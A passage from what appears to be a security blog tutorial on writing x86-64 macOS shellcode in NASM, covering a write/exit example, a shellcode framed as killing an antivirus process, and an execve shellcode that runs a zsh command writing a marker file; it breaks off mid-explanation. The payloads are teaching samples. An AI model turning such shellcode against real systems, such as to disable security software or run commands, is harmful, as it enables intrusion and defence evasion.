      <td><code class="language-plaintext highlighter-rouge">R8</code></td>
      <td>5th function argument</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">R9</code></td>
      <td>6th function argument</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RAX</code></td>
      <td>Function return value/Syscall Number</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RIP</code></td>
      <td>Instruction pointer</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RSP</code></td>
      <td>Stack pointer (must be 16-byte aligned before calls)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RBP</code></td>
      <td>Frame pointer</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">RBX</code></td>
      <td>Base pointer (optional use)</td>
    </tr>
  </tbody>
</table>

<h1 id="shellcoding">Shellcoding</h1>

<p>Before writing our shellcode, To make it easy for ourselves instead of getting lost in all the assembly instructions, The best workflow to do is to write your code in <code class="language-plaintext highlighter-rouge">C</code>, then we convert it to assembly which will make it very easy for us, As there are references and resources for <code class="language-plaintext highlighter-rouge">C</code> it will make our process easier. For example, You would find people talking about how to make a client/server in <code class="language-plaintext highlighter-rouge">C</code> using <code class="language-plaintext highlighter-rouge">socket</code>. But, you won’t find someone(“insane”) talking about how to make a client/server in assembly. So The process would be as the following:</p>
<ul>
  <li>Find <code class="language-plaintext highlighter-rouge">C</code> functions that we will need in our code.</li>
  <li>Write our code in <code class="language-plaintext highlighter-rouge">C</code>.</li>
  <li>Turn our code into assembly.
    <ul>
      <li>Which including getting our syscall numbers ready.</li>
      <li>Function arguments and types.</li>
    </ul>
  </li>
</ul>

<p>Let’s go ahead and start with something simple to make things clear.</p>

<h2 id="print-hello">Print ‘Hello’</h2>

<p>We will start by printing <code class="language-plaintext highlighter-rouge">Hello</code> into the screen. So let’s apply our workflow. Usually when we want to print something in <code class="language-plaintext highlighter-rouge">C</code>, we use <code class="language-plaintext highlighter-rouge">printf()</code> function as the following:</p>

<pre><code class="language-C">#include &lt;stdio.h&gt;

int main() {
    printf("Hello");
    return 0;
}
</code></pre>

<p>Now, As we identified the functions we need which is <code class="language-plaintext highlighter-rouge">printf()</code>, And we wrote our code the 3rd step is to turn it into assembly. So the first thing we would need is to get the syscall number for <code class="language-plaintext highlighter-rouge">printf()</code>, We can find all the <code class="language-plaintext highlighter-rouge">syscalls</code> can be found in <code class="language-plaintext highlighter-rouge">bsd/kern/syscalls.master</code>.</p>

<p><img width="607" height="57" alt="image" src="https://github.com/user-attachments/assets/66156c40-4402-4dc9-a8b7-b4545641de5f" /></p>

<p>But, the thing is we won’t find <code class="language-plaintext highlighter-rouge">printf()</code> in the file. Let’s investigate the <code class="language-plaintext highlighter-rouge">printf()</code> function source code. After investigation, the implementation of <code class="language-plaintext highlighter-rouge">printf()</code> involves calling other functions till we reach <code class="language-plaintext highlighter-rouge">write</code> syscall.</p>

<h3 id="call-chain-printf--write-syscall">Call Chain: <code class="language-plaintext highlighter-rouge">printf</code> → <code class="language-plaintext highlighter-rouge">write</code> Syscall</h3>

<table>
  <thead>
    <tr>
      <th>Step</th>
      <th>Function Name</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td><code class="language-plaintext highlighter-rouge">printf</code></td>
    </tr>
    <tr>
      <td>2</td>
      <td><code class="language-plaintext highlighter-rouge">vfprintf</code></td>
    </tr>
    <tr>
      <td>3</td>
      <td><code class="language-plaintext highlighter-rouge">__vfprintf_internal</code></td>
    </tr>
    <tr>
      <td>4</td>
      <td><code class="language-plaintext highlighter-rouge">Xprintf_buffer_write</code></td>
    </tr>
    <tr>
      <td>5</td>
      <td><code class="language-plaintext highlighter-rouge">_IO_new_file_overflow</code></td>
    </tr>
    <tr>
      <td>6</td>
      <td><code class="language-plaintext highlighter-rouge">_IO_do_write</code></td>
    </tr>
    <tr>
      <td>7</td>
      <td><code class="language-plaintext highlighter-rouge">new_do_write</code></td>
    </tr>
    <tr>
      <td>8</td>
      <td><code class="language-plaintext highlighter-rouge">_IO_SYSWRITE</code></td>
    </tr>
    <tr>
      <td>9</td>
      <td><code class="language-plaintext highlighter-rouge">__swrite</code> <em>(macOS only)</em></td>
    </tr>
    <tr>
      <td>10</td>
      <td><code class="language-plaintext highlighter-rouge">write</code> <em>(syscall)</em></td>
    </tr>
  </tbody>
</table>

<p>You can find the source code files here:</p>
<ul>
  <li><a href="https://codebrowser.dev/glibc/glibc/stdio-common/printf.c.html">printf.c</a></li>
  <li><a href="https://codebrowser.dev/glibc/glibc/stdio-common/vfprintf.c.html">vfprintf.c</a></li>
  <li><a href="https://codebrowser.dev/glibc/glibc/stdio-common/vfprintf-internal.c.html">vfprintf-internal.c</a></li>
  <li><a href="https://codebrowser.dev/glibc/glibc/stdio-common/printf_buffer.h.html">printf_buffer.h</a></li>
  <li><a href="https://codebrowser.dev/glibc/glibc/libio/fileops.c.html">fileops.c</a></li>
  <li><a href="https://codebrowser.dev/glibc/glibc/libio/libioP.h.html">libioP.h</a></li>
</ul>

<p>Also you could just have asked <code class="language-plaintext highlighter-rouge">ChatGPT</code> or something xD, But keep in mind with complicated shellcodes you would want to go through codes and else cause you always will learn something and upgrade yourself.</p>

<p>Now, When we search for <code class="language-plaintext highlighter-rouge">write</code> syscall we can see it in the <code class="language-plaintext highlighter-rouge">syscalls.master</code> file:</p>

<p><img width="1106" height="158" alt="image" src="https://github.com/user-attachments/assets/9aab6429-2fa8-454d-a3e4-aa023b96b10d" /></p>

<p>As we see the <code class="language-plaintext highlighter-rouge">write</code> syscall number is <code class="language-plaintext highlighter-rouge">4</code>. And <code class="language-plaintext highlighter-rouge">write</code> takes 3 arguments. We need to learn about these argument and how to use it, Which simple can be done by searching it or go to the documentation:</p>

<p><img width="1078" height="117" alt="image" src="https://github.com/user-attachments/assets/f8bd5305-0d23-4b50-a837-df58881c10b1" /></p>

<p>So from the description we can know that we need to supply the string pointer to <code class="language-plaintext highlighter-rouge">buf</code> the second argument and number of bytes (<code class="language-plaintext highlighter-rouge">length</code>) to the third argument <code class="language-plaintext highlighter-rouge">nbyte</code>, And for fields/fd or File Descriptor, When we search it we will see that it takes the following values</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">0 (STDIN_FILENO)</code>: Represents standard input, typically connected to the keyboard or the input of a pipe.</li>
  <li><code class="language-plaintext highlighter-rouge">1 (STDOUT_FILENO)</code>: Represents standard output, typically connected to the display or the output of a pipe.</li>
  <li><code class="language-plaintext highlighter-rouge">2 (STDERR_FILENO)</code>: Represents standard error, typically connected to the display for error messages.</li>
</ul>

<p>Our goal here is <code class="language-plaintext highlighter-rouge">STDOUT</code> which is value <code class="language-plaintext highlighter-rouge">1</code>. So our syscall will be as the following:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">message</span> <span class="o">=</span> <span class="s">"Hello"</span><span class="p">;</span>
    <span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">message</span><span class="p">,</span> <span class="mi">5</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Let’s start with writing our shellcode:</p>

<pre><code class="language-asm">bits 64

global _main

_main:
	mov rdi, 1 ; stdout for fd argument
	mov rcx, 'Hello' ; put our string value into RCX
	push rcx ; We push our string to the stack
	mov rsi, rsp ; we supply the pointer to our string from RSP to RSI which is buf argument
	mov rdx, 5 ; nbytes argument (our string length)
	mov rax, 0x2000004 ; The BSD syscall class entry + syscall number
	syscall ; invoke/execute syscall
</code></pre>

<p>Here our shellcode, starting with <code class="language-plaintext highlighter-rouge">bits 64</code> to enforce x86-64 mode and <code class="language-plaintext highlighter-rouge">global _main</code> to export the Mach-O entry point. The first instruction <code class="language-plaintext highlighter-rouge">mov rdi, 1</code> loads the file descriptor <code class="language-plaintext highlighter-rouge">1</code> (stdout) into <code class="language-plaintext highlighter-rouge">RDI</code>, the first argument register as we mentioned before. Next, <code class="language-plaintext highlighter-rouge">mov rcx, 'Hello'</code> encodes the 5-character string as a 64-bit immediate <code class="language-plaintext highlighter-rouge">0x6f6c6c6548</code> (little-endian: <code class="language-plaintext highlighter-rouge">'o','l','l','e','H'</code>) into <code class="language-plaintext highlighter-rouge">RCX</code>. The <code class="language-plaintext highlighter-rouge">push rcx</code> then writes these 8 bytes to the stack, placing <code class="language-plaintext highlighter-rouge">'H'</code> at the new stack pointer and padding the remaining 3 bytes with zeros <code class="language-plaintext highlighter-rouge">0x00</code> to align the stack, Then <code class="language-plaintext highlighter-rouge">mov rsi, rsp</code> copies the current stack pointer into <code class="language-plaintext highlighter-rouge">RSI</code>, Which is the second argument, so it now points directly to the first character <code class="language-plaintext highlighter-rouge">'H'</code>, forming a valid <code class="language-plaintext highlighter-rouge">char *buf</code>. The <code class="language-plaintext highlighter-rouge">mov rdx, 5</code> sets the third argument, which is the number of bytes to write and exactly matching the length of <code class="language-plaintext highlighter-rouge">Hello</code>. Finally, <code class="language-plaintext highlighter-rouge">mov rax, 0x2000004</code> loads the <code class="language-plaintext highlighter-rouge">XNU</code> encoded syscall number: <code class="language-plaintext highlighter-rouge">(SYSCALL_CLASS_UNIX &lt;&lt; 24) | 4</code>, where class <code class="language-plaintext highlighter-rouge">2</code> routes to the BSD subsystem and <code class="language-plaintext highlighter-rouge">4</code> selects the <code class="language-plaintext highlighter-rouge">write</code> entry from <code class="language-plaintext highlighter-rouge">bsd/kern/syscalls.master</code>. The <code class="language-plaintext highlighter-rouge">syscall</code> instruction triggers the kernel trap, dispatching through <code class="language-plaintext highlighter-rouge">XNU</code>’s unified handler to execute <code class="language-plaintext highlighter-rouge">write(1, "Hello", 5)</code>, printing <code class="language-plaintext highlighter-rouge">Hello</code> to the terminal.</p>

<p>Let’s save our code into file <code class="language-plaintext highlighter-rouge">hello.asm</code> and compile our code.</p>

<ul>
  <li>First we will turn the code to object file for <code class="language-plaintext highlighter-rouge">macho64</code> architecture using <code class="language-plaintext highlighter-rouge">nasm</code>:
    <div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % nasm <span class="nt">-f</span> macho64 hello.asm
shellcoding % <span class="nb">ls
</span>hello.asm	hello.o
</code></pre></div>    </div>
  </li>
</ul>

<p>As we see we got our object file <code class="language-plaintext highlighter-rouge">hello.o</code>.</p>

<ul>
  <li>Second, We will link the required libraries needed for the code to generate the executable using <code class="language-plaintext highlighter-rouge">ld</code>
    <div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % ld <span class="nt">-o</span> hello hello.o <span class="nt">-L</span> /Library/Developer/CommandLineTools/SDKs/MacOSX15.5.sdk/usr/lib <span class="nt">-lSystem</span> <span class="nt">-platform_version</span> macos 15.5 15.5
ld: warning: no platform load <span class="nb">command </span>found <span class="k">in</span> <span class="s1">'hello.o'</span>, assuming: macOS
shellcoding % <span class="nb">ls
</span>hello		hello.asm	hello.o
</code></pre></div>    </div>
  </li>
</ul>

<p>Here we can see after linking we got our executable.</p>

<blockquote>
  <p>Note: The <code class="language-plaintext highlighter-rouge">-L /Library/Developer/CommandLineTools/SDKs/MacOSX15.5.sdk/usr/lib</code> sets the <strong>library search path</strong> to the macOS 15.5 SDK’s <code class="language-plaintext highlighter-rouge">usr/lib</code> directory, ensuring the linker locates the correct version of <code class="language-plaintext highlighter-rouge">libSystem.tbd</code> — Apple’s modern stub library format that resolves to <code class="language-plaintext highlighter-rouge">libSystem.dylib</code> at runtime. The <code class="language-plaintext highlighter-rouge">-lSystem</code> flag explicitly links against <strong>libSystem</strong>, the foundational system library that exports the <code class="language-plaintext highlighter-rouge">syscall</code> interface, <code class="language-plaintext highlighter-rouge">write</code>, <code class="language-plaintext highlighter-rouge">exit</code>, and all BSD/POSIX functions; without it, the <code class="language-plaintext highlighter-rouge">syscall</code> instruction in our shellcode would remain unresolved, causing a linker error. Finally, <code class="language-plaintext highlighter-rouge">-platform_version macos 15.5 15.5</code> declares the <strong>minimum deployment target</strong> as macOS 15.5 (Sequoia), embedding the <code class="language-plaintext highlighter-rouge">LC_VERSION_MIN_MACOSX</code> load command and forcing the use of Sequoia-compatible API stubs and system call encodings — essential for forward and backward compatibility on modern Apple silicon and Intel systems.</p>
</blockquote>

<ul>
  <li>Let’s run and test our executable:
    <div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % ./hello 
Hellozsh: segmentation fault  ./hello
</code></pre></div>    </div>
  </li>
</ul>

<p>We see that our execution results in <code class="language-plaintext highlighter-rouge">segmentation fault</code>, And the reason for that the program doesn’t <code class="language-plaintext highlighter-rouge">return</code> or in simple words exit. For example, Within the main function in <code class="language-plaintext highlighter-rouge">C</code>, When return is used in the main function (e.g., <code class="language-plaintext highlighter-rouge">return 0;</code>), it typically translates to an <code class="language-plaintext highlighter-rouge">exit_group</code> system call (<code class="language-plaintext highlighter-rouge">exit</code>). This system call terminates the entire process and returns the specified exit status to the operating system. So, We need to exit after executing our <code class="language-plaintext highlighter-rouge">write</code> syscall.</p>

<h2 id="exit">Exit</h2>

<p>We can exit using <code class="language-plaintext highlighter-rouge">exit</code> syscall, as we can see it in the <code class="language-plaintext highlighter-rouge">syscalls.master</code> file:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">1</span>	<span class="n">AUE_EXIT</span>	<span class="n">ALL</span>	<span class="p">{</span> <span class="kt">void</span> <span class="n">exit</span><span class="p">(</span><span class="kt">int</span> <span class="n">rval</span><span class="p">)</span> <span class="n">NO_SYSCALL_STUB</span><span class="p">;</span> <span class="p">}</span>
</code></pre></div></div>

<p>The syscall number is <code class="language-plaintext highlighter-rouge">1</code> and it takes only 1 integer argument <code class="language-plaintext highlighter-rouge">rval</code> which is the value to return. When we go to documentation the <code class="language-plaintext highlighter-rouge">rval</code> value can be <code class="language-plaintext highlighter-rouge">0</code> for <code class="language-plaintext highlighter-rouge">EXIT_SUCCESS</code> (successful execution of a program) or <code class="language-plaintext highlighter-rouge">EXIT_FAILURE</code> (unsuccessful execution of a program). Let’s update our shellcode and add <code class="language-plaintext highlighter-rouge">exit</code> syscall</p>

<pre><code class="language-asm">bits 64

global _main

_main:
	mov rdi, 1 ; stdout for fd argument
	mov rcx, 'Hello' ; put our string value into RCX
	push rcx ; We push our string to the stack
	mov rsi, rsp ; we supply the pointer to our string from RSP to RSI which is buf argument
	mov rdx, 5 ; nbytes argument (our string length)
	mov rax, 0x2000004 ; The BSD syscall class entry + write syscall number
	syscall ; invoke/execute syscall
	
	mov rax, 0x2000001 ; The BSD syscall class entry + exit syscall
	mov rdi, 0 ; arg int rval
	syscall ; invoke/execute syscall
</code></pre>

<p>Now, let’s repeat the process of compiling to get our executable again and test it.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % nasm <span class="nt">-f</span> macho64 hello.asm
shellcoding % ld <span class="nt">-o</span> hello hello.o <span class="nt">-L</span> /Library/Developer/CommandLineTools/SDKs/MacOSX15.5.sdk/usr/lib <span class="nt">-lSystem</span> <span class="nt">-platform_version</span> macOS 15.5 15.5
ld: warning: no platform load <span class="nb">command </span>found <span class="k">in</span> <span class="s1">'/Users/zeyadazima.com/shellcoding/hello.o'</span>, assuming: macOS
shellcoding % ./hello 
Hello%                                                           
shellcoding % 
</code></pre></div></div>

<p>As we see clearly our code worked perfectly.</p>

<h2 id="kill-a-process">Kill a Process</h2>

<p>Let’s do another shellcode, And take a scenario in case we found a way to execute a code with high privileges and We need to write a shellcode to kill the <code class="language-plaintext highlighter-rouge">AV</code> process.</p>

<p>The <code class="language-plaintext highlighter-rouge">C</code> code to kill a process is as the following:</p>

<pre><code class="language-C">#include &lt;stdio.h&gt;
#include &lt;signal.h&gt;
#include &lt;sys/types.h&gt; // For pid_t
#include &lt;unistd.h&gt;    // For getpid() (optional, for self-killing example)

int main() {
    pid_t target_pid;

    target_pid = 12345; 

    // Sending SIGTERM (graceful termination)
    kill(target_pid, SIGTERM);

    return 0;
}
</code></pre>

<p>We can see here we used <code class="language-plaintext highlighter-rouge">kill</code> function and supply the <code class="language-plaintext highlighter-rouge">PID</code> and the signal which is <code class="language-plaintext highlighter-rouge">SIGTERM</code>.</p>

<p>Now, If we search for <code class="language-plaintext highlighter-rouge">kill</code> in <code class="language-plaintext highlighter-rouge">syscalls.master</code>. We can find it:</p>

<pre><code class="language-C">37	AUE_KILL	ALL	{ int kill(int pid, int signum, int posix) NO_SYSCALL_STUB; }
</code></pre>

<p>For the <code class="language-plaintext highlighter-rouge">PID</code> we will create a test process and get it’s <code class="language-plaintext highlighter-rouge">PID</code> to supply it for the first argument and for the <code class="language-plaintext highlighter-rouge">signum</code> argument, In the <code class="language-plaintext highlighter-rouge">C</code> code the value is <code class="language-plaintext highlighter-rouge">SIGTERM</code> which it will be a pre-defined value in the source code, We can search for <code class="language-plaintext highlighter-rouge">#define SIGTERM</code> in the <code class="language-plaintext highlighter-rouge">XNU</code> source code, We will find it at <code class="language-plaintext highlighter-rouge">xnu-xnu-11417.121.6/bsd/sys/signal.h:103</code>:</p>

<pre><code class="language-C">#define SIGKILL 9       /* kill (cannot be caught or ignored) */
#define SIGBUS  10      /* bus error */
#define SIGSEGV 11      /* segmentation violation */
#define SIGSYS  12      /* bad argument to system call */
#define SIGPIPE 13      /* write on a pipe with no one to read it */
#define SIGALRM 14      /* alarm clock */
#define SIGTERM 15      /* software termination signal from kill */
#define SIGURG  16      /* urgent condition on IO channel */
#define SIGSTOP 17      /* sendable stop signal not from tty */
</code></pre>

<p>So we can see that <code class="language-plaintext highlighter-rouge">SIGTERM</code> value is <code class="language-plaintext highlighter-rouge">15</code>, But the better option to use <code class="language-plaintext highlighter-rouge">SIGKILL</code> with value <code class="language-plaintext highlighter-rouge">9</code> as it will be forced and kill (cannot be caught or ignored). We will supply <code class="language-plaintext highlighter-rouge">9</code> as the second argument. Now, In the <code class="language-plaintext highlighter-rouge">C</code> code it doesn’t have a 3rd argument as we see for the <code class="language-plaintext highlighter-rouge">syscall</code>. If we search for <code class="language-plaintext highlighter-rouge">int posix</code> in the <code class="language-plaintext highlighter-rouge">XNU</code> source code, We gonna find the following code under <code class="language-plaintext highlighter-rouge">xnu-xnu-11417.121.6/bsd/kern/kern_sig.c:1373</code>:</p>

<pre><code class="language-C">int
kill(proc_t cp, struct kill_args *uap, __unused int32_t *retval)
{
	proc_t p;
	kauth_cred_t uc = kauth_cred_get();
	int posix = uap-&gt;posix;         /* !0 if posix behaviour desired */

	AUDIT_ARG(pid, uap-&gt;pid);
	AUDIT_ARG(signum, uap-&gt;signum);

	if ((u_int)uap-&gt;signum &gt;= NSIG) {
		return EINVAL;
	}
</code></pre>

<p>We can see from apple comment on the source code that, if we want <code class="language-plaintext highlighter-rouge">POSIX</code> behaviour in killing the process we have to supply anything other than <code class="language-plaintext highlighter-rouge">0</code>. And after more searching and asking diff <code class="language-plaintext highlighter-rouge">AI</code> chatbots i got the following:</p>

<table>
  <thead>
    <tr>
      <th>Value</th>
      <th>Meaning</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">posix = 0</code></td>
      <td>Mach (legacy) signal behavior</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">posix = 1</code> (or any <code class="language-plaintext highlighter-rouge">!0</code>)</td>
      <td>POSIX/BSD signal behavior</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p>Note: usually when you see extra arguments that was not mentioned or supplyed in the <code class="language-plaintext highlighter-rouge">C</code> code, It means that the argument is optional and not really required so you always can supply <code class="language-plaintext highlighter-rouge">0</code> or <code class="language-plaintext highlighter-rouge">NULL</code> as a value to the optional/non-required arguments.
Let’s run our test process using a simple infinity loop running in background:</p>
</blockquote>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % <span class="k">while </span><span class="nb">true</span><span class="p">;</span> <span class="k">do </span><span class="nb">sleep </span>10<span class="p">;</span> <span class="k">done</span> &amp;
<span class="o">[</span>2] 27646
shellcoding % ps <span class="nt">-p</span> 27646
  PID TTY           TIME CMD
27646 ttys061    0:00.01 <span class="nt">-zsh</span>
</code></pre></div></div>
<p>the <code class="language-plaintext highlighter-rouge">PID</code> is <code class="language-plaintext highlighter-rouge">27646</code></p>

<p>Now, Lets write our shellcode:</p>

<pre><code class="language-asm">bits 64

global _main

_main:
	mov rdi, 27646 ; 1st argument PID
	mov rsi, 9 ; 2nd argument signum
	mov rdx, 0 ; 3rd argument posix
	mov rax, 0x2000025 ; The BSD syscall class entry + 0x25 (which is 37 in hex) kill syscall
	syscall
	
	mov rax, 0x2000001 ; The BSD syscall class entry + exit syscall
	mov rdi, 0 ; arg int rval
	syscall ; invoke/execute syscall
</code></pre>

<p>It’s already clear here, We passed our arguments as the following; <code class="language-plaintext highlighter-rouge">PID</code> for <code class="language-plaintext highlighter-rouge">RDI</code>, then <code class="language-plaintext highlighter-rouge">signum</code> for <code class="language-plaintext highlighter-rouge">RSI</code> and After that, <code class="language-plaintext highlighter-rouge">posix</code> to <code class="language-plaintext highlighter-rouge">RDX</code> and setup our <code class="language-plaintext highlighter-rouge">syscall</code>. Finally, We exit gracefully using <code class="language-plaintext highlighter-rouge">exit</code> syscall.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % nasm <span class="nt">-f</span> macho64 killer.asm                                                                                                       
shellcoding % ld <span class="nt">-o</span> killer killer.o <span class="nt">-L</span> /Library/Developer/CommandLineTools/SDKs/MacOSX15.5.sdk/usr/lib <span class="nt">-lSystem</span> <span class="nt">-platform_version</span> macOS 15.5 15.5
ld: warning: no platform load <span class="nb">command </span>found <span class="k">in</span> <span class="s1">'/Users/zeyadazima.com/shellcoding/killer.o'</span>, assuming: macOS
shellcoding % ./killer 
shellcoding % 
<span class="o">[</span>2]  - killed     <span class="k">while </span><span class="nb">true</span><span class="p">;</span> <span class="k">do</span><span class="p">;</span> <span class="nb">sleep </span>10<span class="p">;</span> <span class="k">done
</span>shellcoding % ps <span class="nt">-p</span> 27646
  PID TTY           TIME CMD
</code></pre></div></div>

<p>As we can see clearly, The process has been killed successfully.</p>

<h2 id="execute-command">Execute Command</h2>
<p>Now, The exciting parts where we need to execute commands. Let’s bring our <code class="language-plaintext highlighter-rouge">C</code> code to execute commands on the system. Which is usually in <code class="language-plaintext highlighter-rouge">C</code> it’s done through <code class="language-plaintext highlighter-rouge">system()</code> function. But remember that on the <code class="language-plaintext highlighter-rouge">XNU</code> has <code class="language-plaintext highlighter-rouge">BSD</code>. So Let’s search for <code class="language-plaintext highlighter-rouge">C</code> code where execute commands using <code class="language-plaintext highlighter-rouge">BSD</code> functions.</p>

<pre><code class="language-C">#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/wait.h&gt;

int main() {
    pid_t pid;
    char *const argv[] = {"/bin/ls", "-l", NULL}; // Command and its arguments
    char *const envp[] = {NULL}; // Environment variables (can be customized)

    execve(argv[0], argv, envp);
   

    return 0;
}
</code></pre>

<p>As we can see here it uses <code class="language-plaintext highlighter-rouge">execv()</code> function and it takes 3 arguments. lET’S SEARCH FOR it in the <code class="language-plaintext highlighter-rouge">syscalls.master</code>:</p>

<pre><code class="language-C">59	AUE_EXECVE	ALL	{ int execve(char *fname, char **argp, char **envp) NO_SYSCALL_STUB; }
</code></pre>

<p>So it takes a pointer to the <code class="language-plaintext highlighter-rouge">fname</code> which is the file name, then pointer to array <code class="language-plaintext highlighter-rouge">argp</code> and pointer to another array <code class="language-plaintext highlighter-rouge">envp</code>.</p>

<p><img width="717" height="271" alt="image" src="https://github.com/user-attachments/assets/d03ca643-261d-4918-b1d0-271519f8471e" /></p>

<p>We can see that in the description of <code class="language-plaintext highlighter-rouge">execve()</code>, the first argument is the path to the binary we want to execute which is gonna be the shell in this case <code class="language-plaintext highlighter-rouge">/bin/zsh</code>. Then for the second argument it takes array the arguments of the executable or program we passing and the first element in the array has to be the same file name <code class="language-plaintext highlighter-rouge">/bin/zsh</code>, So the array will be as the following, if we want to execute<code class="language-plaintext highlighter-rouge">echo "W00tW00t" &gt; /tmp/Pwned.txt</code>  command <code class="language-plaintext highlighter-rouge">{"/bin/zsh","-c","echo 'W00tW00t' &gt; /tmp/Pwned.txt"}</code>. The third argument as mentioned is optional so we can supply a pointer to <code class="language-plaintext highlighter-rouge">NULL</code> array.</p>

<p>Let’s go on and write our shellcode:</p>

<pre><code class="language-asm">bits 64

global _main

_main:

	mov rcx, 0 	; NULL Terminator
	push rcx 	; push the NULL Terminator to the stack
	mov rdx, '/bin/zsh' 	;  our file/executable name
	push rdx 	; push the file/executable name to the stack
	mov rdi, rsp 	; fname =&gt; 1st argument which by Copy the RSP address to RDI which is the pointer to our file/executable name
	mov rbx, '-c' 	; argp[1] =&gt; the 2nd element in the arguments array
	push rbx 	; push argp[1] to the stack
	mov rbx, rsp 	; save the argp[1]('-c') pointer to RBX
	push rcx 	; push the NULL Terminator to the stack
</code></pre>

<p>Let’s stop here for a while, We need to place our 3rd element which is our command <code class="language-plaintext highlighter-rouge">echo "W00tW00t" &gt; /tmp/Pwned.txt</code>, Which is for a string to long and to divide it to push it on the stack will not be the best thing our shellcode will be so long. Instead we gonna use a trick to place it on the stack for example:</p>

<pre><code class="language-asm"> call array
 db 'echo "W00tW00t" &gt; /tmp/Pwned.txt', 0
</code></pre>

<p><code class="language-plaintext highlighter-rouge">call</code> pushes the address of the following <code class="language-plaintext highlighter-rouge">db</code> string onto the stack. Which will make it easier for us.</p>

<pre><code class="language-asm">bits 64

global _main

_main:

	xor rcx, rcx 	; NULL Terminator
	push rcx 	; push the NULL Terminator to the stack
	mov rdx, '/bin/zsh' 	;  our file/executable name
	push rdx 	; push the file/executable name to the stack
	mov rdi, rsp 	; fname =&gt; 1st argument which by Copy the RSP address to RDI which is the pointer to our file/executable name
	mov rbx, '-c' 	; argp[1] =&gt; the 2nd element in the arguments array
	push rbx 	; push argp[1] to the stack
	mov rbx, rsp 	; save the argp[1]('-c') pointer to RBX
	push rcx 	; push the NULL Terminator to the stack

; classic position-independent trick
	call array ; call the array label to setup the array for argp
	db 'echo "W00tW00t" &gt; /tmp/Pwned.txt', 0 ; arg[2] which is our command and including the NULL Terminator
</code></pre>

<p>Now, We need to make <code class="language-plaintext highlighter-rouge">array</code> label where it will setup the array elements and execute the <code class="language-plaintext highlighter-rouge">execve</code> syscall and then exit.</p>

<pre><code class="language-asm">bits 64

global _main

_main:

	xor rcx, rcx 	; NULL Terminator
	push rcx 	; push the NULL Terminator to the stack
	mov rdx, '/bin/zsh' 	;  our file/executable name
	push rdx 	; push the file/executable name to the stack
	mov rdi, rsp 	; fname =&gt; 1st argument which by Copy the RSP address to RDI which is the pointer to our file/executable name
	mov rbx, '-c' 	; argp[1] =&gt; the 2nd element in the arguments array
	push rbx 	; push argp[1] to the stack
	mov rbx, rsp 	; save the argp[1]('-c') pointer to RBX
	push rcx 	; push the NULL Terminator to the stack
	call array ; call the array label to setup the array for argp
	db 'echo "W00tW00t" &gt; /tmp/Pwned.txt', 0 ; arg[2] which is our command and including the NULL Terminator
	
array:
	push rbx ; arg[1] put the -c pointer into the array
	push rdi ; args[0] which is fname saved before
	mov rsi, rsp ; pass the array pointer for RSI which holds the second argument
	xor rdx, rdx ; empty rdx to use as NULL for the third argument envp
	mov rax, 0x200003B ; The BSD syscall class entry + 0x3B (which is 59 in hex) kill syscall
	syscall ; invoke/execute syscall
	
	mov rax, 0x2000001 ; The BSD syscall class entry + exit syscall
	mov rdi, 0 ; arg int rval
	syscall ; invoke/execute syscall
</code></pre>

<p>Here our shellcode, first zeroes <code class="language-plaintext highlighter-rouge">RCX</code> with <code class="language-plaintext highlighter-rouge">xor rcx, rcx</code> and <code class="language-plaintext highlighter-rouge">push rcx</code> to place an 8-byte <code class="language-plaintext highlighter-rouge">NULL</code> on the stack which will be reused as padding and as a <code class="language-plaintext highlighter-rouge">NULL</code> terminator. Next <code class="language-plaintext highlighter-rouge">mov rdx, '/bin/zsh'</code> loads the bytes for the <code class="language-plaintext highlighter-rouge">filename</code> into <code class="language-plaintext highlighter-rouge">RDX</code> and <code class="language-plaintext highlighter-rouge">push rdx</code> writes those 8 bytes to the stack so that <code class="language-plaintext highlighter-rouge">RSP</code> now points at the <code class="language-plaintext highlighter-rouge">"/bin/zsh"</code> string. <code class="language-plaintext highlighter-rouge">mov rdi, rsp</code> copies that stack pointer into <code class="language-plaintext highlighter-rouge">RDI</code>, which is the first argument to <code class="language-plaintext highlighter-rouge">execve</code> (the <code class="language-plaintext highlighter-rouge">filename</code> pointer).After that load <code class="language-plaintext highlighter-rouge">'-c'</code> into <code class="language-plaintext highlighter-rouge">RBX</code> and <code class="language-plaintext highlighter-rouge">push rbx</code>, creating the <code class="language-plaintext highlighter-rouge">"-c"</code> string on the stack; <code class="language-plaintext highlighter-rouge">mov rbx, rsp</code> saves the pointer to the <code class="language-plaintext highlighter-rouge">"-c"</code> string in <code class="language-plaintext highlighter-rouge">RBX</code> for later. Another <code class="language-plaintext highlighter-rouge">push rcx</code> places a <code class="language-plaintext highlighter-rouge">NULL</code> on the stack. The <code class="language-plaintext highlighter-rouge">call array</code> instruction is the classic position-independent trick, it pushes the address of the immediately following <code class="language-plaintext highlighter-rouge">db</code> bytes (the command string) onto the stack and then jumps to the <code class="language-plaintext highlighter-rouge">array</code> label, so the command string’s runtime address is already on the stack when <code class="language-plaintext 